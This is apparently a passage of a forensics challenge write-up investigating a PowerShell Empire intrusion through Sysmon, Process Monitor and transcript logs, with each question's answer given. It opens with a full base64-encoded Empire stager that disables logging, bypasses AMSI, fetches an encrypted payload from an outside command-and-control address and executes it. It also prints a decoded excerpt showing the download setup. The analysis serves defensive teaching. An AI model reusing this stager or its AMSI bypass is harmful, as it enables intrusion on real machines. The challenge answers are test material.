dABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMATwBMAGwARQBDAHQAaQBPAG4AUwAuAEcARQBuAEUAcgBJAGMALgBEAEkAYwBUAEkAbwBOAEEAUgB5AFsAUwBUAHIAaQBuAEcALABTAHkAUwB0AEUATQAuAE8AQgBqAGUAYwBUAF0AXQA6ADoAbgBFAHcAKAApADsAJABWAGEAbAAuAEEARABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABWAEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAGIAOQBiAEUAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQA9ACQAVgBBAGwAfQBFAGwAUwBFAHsAWwBTAEMAUgBpAHAAVABCAGwAbwBjAGsAXQAuACIARwBlAFQARgBpAGUAYABsAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAHUAZQAoACQAbgBVAEwAbAAsACgATgBlAHcALQBPAEIAagBFAEMAdAAgAEMATwBMAGwAZQBjAHQASQBvAE4AcwAuAEcARQBuAGUAcgBJAEMALgBIAGEAUwBIAFMAZQBUAFsAcwBUAHIASQBuAGcAXQApACkAfQAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBTAFMARQBtAGIAbAB5AC4ARwBlAFQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBFAGYALgBHAEUAdABGAEkARQBMAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGACcAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBMAFUARQAoACQAbgB1AEwAbAAsACQAVAByAHUARQApADsAfQA7AFsAUwB5AHMAdABFAG0ALgBOAEUAVAAuAFMARQByAFYASQBDAEUAUABvAEkAbgB0AE0AQQBuAEEAZwBlAFIAXQA6ADoARQB4AFAARQBjAFQAMQAwADAAQwBPAG4AVABJAG4AdQBlAD0AMAA7ACQAMgA3AEMARQA9AE4AZQBXAC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUAbQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkAZQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQB4AHQALgBFAE4AQwBvAEQAaQBOAGcAXQA6ADoAVQBOAGkAQwBvAEQAZQAuAEcARQBUAFMAdAByAGkAbgBnACgAWwBDAE8AbgBWAGUAUgB0AF0AOgA6AEYAcgBPAE0AQgBBAHMARQA2ADQAUwBUAHIASQBOAGcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAegBBAEQAUQBBAEwAZwBBAHkAQQBEAFEAQQBOAFEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE0AUQBBADIAQQBEAEUAQQBPAGcAQQA1AEEARABBAEEATQBBAEEAeABBAEEAPQA9ACcAKQApACkAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZwBlAHQALgBwAGgAcAAnADsAJAAyADcAQwBFAC4ASABlAGEAZABFAHIAcwAuAEEARABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAMgA3AEMAZQAuAFAAcgBPAHgAWQA9AFsAUwB5AFMAVABFAG0ALgBOAEUAVAAuAFcARQBCAFIARQBxAFUAZQBzAFQAXQA6ADoARABlAGYAQQBVAGwAdABXAEUAQgBQAFIATwBYAFkAOwAkADIANwBjAGUALgBQAFIATwBYAHkALgBDAHIARQBEAEUATgBUAEkAYQBsAHMAIAA9ACAAWwBTAHkAUwB0AGUAbQAuAE4ARQB0AC4AQwBSAEUAZABFAG4AVABpAEEAbABDAEEAQwBoAEUAXQA6ADoARABFAEYAQQBVAEwAVABOAGUAVAB3AG8AUgBLAEMAcgBFAGQAZQBuAFQAaQBBAEwAUwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAAyADcAYwBlAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AEUAbQAuAFQAZQBYAFQALgBFAG4AQwBvAEQAaQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAFQAQgBZAFQAZQBzACgAJwBhAHcAWABVAEQAawBpAHQAPABvAFYAOQBKAGMAUgBPAEwAewAlAGcAUQAuAHwAMwBuAEgAcQBNAHAAQQAvAGwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AdQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAG8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAAyADcAQwBFAC4ASABlAGEARABlAHIAcwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBSAGoATQBlAGUAawA9AFoAbQBRAEwASABhAGMATQBCAFgAcgBMAGMAQgArAFYARQBsAHYATABjAHcATwAyADYARQBZAD0AIgApADsAJABEAGEAdABBAD0AJAAyADcAQwBlAC4ARABPAHcAbgBsAG8AQQBkAEQAQQB0AEEAKAAkAFMAZQByACsAJABUACkAOwAkAGkAdgA9ACQARABhAFQAQQBbADAALgAuADMAXQA7ACQARABhAHQAQQA9ACQAZABBAHQAQQBbADQALgAuACQARABhAHQAYQAuAGwARQBOAGcAdABoAF0AOwAtAGoATwBJAE4AWwBDAEgAQQByAFsAXQBdACgAJgAgACQAUgAgACQAZABBAHQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
CurrentDirectory: C:\Users\Administrator\
User: WIN-Q5JJRDM876J\Administrator
LogonGuid: {786593ca-776c-6009-5ea8-030000000000}
LogonId: 0x3A85E
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=6CBCE4A295C163791B60FC23D285E6D84F28EE4C,MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F
ParentProcessGuid: {786593ca-24a3-600a-e400-000000000300}
ParentProcessId: 3624
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Answer: 3088

Decode the payload. What is the a visible partial path?

We have already seen this in an earlier question

<---snip--->
$27CE=NeW-OBJEct SYsTEm.NEt.WEBClIeNT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([TExt.ENCoDiNg]::UNiCoDe.GETString([COnVeRt]::FrOMBAsE64STrINg('aAB0AHQAcAA6AC8ALwAzADQALgAyADQANQAuADEAMgA4AC4AMQA2ADEAOgA5ADAAMAAxAA==')));
$t='/admin/get.php';
$27CE.HeadErs.ADD('User-Agent',$u);
$27Ce.PrOxY=[SySTEm.NET.WEBREqUesT]::DefAUltWEBPROXY;
<---snip--->

Answer: /admin/get.php

This is the default communication profile the agent used to connect to the attack machine. What attack framework was used? What is the name of the variable? (answer, answer)

Googling for powershell malware /admin/get.php gives us this blog post that tell use this is likely Empire.

Then we Google further for powershell empire github to find the Empire repo.

Finally, we search in the repo for /admin/get.php and note the only match in the Wiki

Empire Default Profile

Note that the accepted order of the answers is reversed!

Answer: DefaultProfile, Empire

What other file paths are you likely to find in the logs? (answer, answer)

See the image above.

Answer: /news.php, /login/process.php

What is the MITRE ATT&CK URI for the attack framework?

See this Empire page.

Answer: https://attack.mitre.org/software/S0363/

What was the FQDN of the attacker machine that the suspicious process connected to?

We can find the answer in Process Monitor by disabling all activity other than Network Activity and pay attention to powershell.exe processes

Process Monitor Analysis 4

Answer: ec2-34-245-128-161.eu-west-1.compute.amazonaws.com

What other process connected to the attacker machine?

Process Monitor Analysis 5

Answer: Explorer.exe

What is the PID for this process?

Double-click on the event and select the Process tab in the Event properties window

Process Monitor Analysis 6

Answer: 2684

What was the path for the first image loaded for the process identified in Q's 19 & 20?

Set an Include-filter for PID is 2684 and also Show Process and Thread Activity

Process Monitor Analysis 7

Answer: C:\Windows\System32\mscoree.dll

What Sysmon event was generated between these 2 processes? What is its associated Event ID #? (answer, answer)

These are the Sysmon-events that are generated between processes:

  • EID 1: Process Creation
  • EID 8: Create Remote Thread
  • EID 10: Process Access
  • EID 25: Process Tampering

I guessed this was a case of remote thread creation and filtered for EID 8 in the Sysmon log.
We can then manually browse through the events or search for (Find...) powershell.exe

CreateRemoteThread detected:
RuleName: -
UtcTime: 2021-01-22 01:07:06.182
SourceProcessGuid: {786593ca-24e9-600a-eb00-000000000300}
SourceProcessId: 3088
SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetProcessGuid: {786593ca-776d-6009-4b00-000000000300}
TargetProcessId: 2684
TargetImage: C:\Windows\explorer.exe
NewThreadId: 4872
StartAddress: 0x00000000027D0000
StartModule: -
StartFunction: -

Answer: CreateRemoteThread, 8

What is the UTC time for the first event between these 2 processes?

See above (UtcTime: 2021-01-22 01:07:06.182)

Answer: 2021-01-22 01:07:06.182

What is the value under Date and Time? (MM/DD/YYYY H:MM:SS [AM/PM])

Event Viewer Analysis 1

Note that the time-stamps in Event Viewer are local times!

Answer: 1/21/2021 5:07:06 PM

What is the first operation listed by the 2nd process starting with the Date and Time from Q25?

Make sure all activity types are shown and scroll to the timestamp in question.

Process Monitor Analysis 8

Note the answer below assumes you are still filtering for PID 2684. Otherwise the answer is WriteFile.

Answer: Thread Create

What is the full registry path that was queried by the attacker to get information about the victim?

Hint: Try searching for ProcMon events beginning with '1/21/2021 5:07'

Set an Include-filter of Date & Time begins with 1/21/2021 5:07 and Show only Registry Activity.

But there are still LOTS of activity. A good starting point is therefore this article where we find that the Windows version number can be found in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ReleaseId

Set an Include-filter of Path contains ReleaseId and we get three events

Process Monitor Analysis 9

Answer: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ReleaseID

What is the name of the last module in the stack from this event which had a successful result?

Double-click on the middle event with a SUCCESS result and then select the Stack tab

Process Monitor Analysis 10

Answer: <unknown>

Most likely what module within the attack framework was used between the 2 processes?

Looking though the largest of the PowerShell transcript log files in C:\Users\Administrator\Documents\20210121 we find

Empire PsInject

Answer: Invoke-PSInject

What is the MITRE ID for this technique?

Searching for PSInject on the Empire ATT&CK page we find

Empire Process Injection

Answer: T1055

For additional information, please see the references below.

References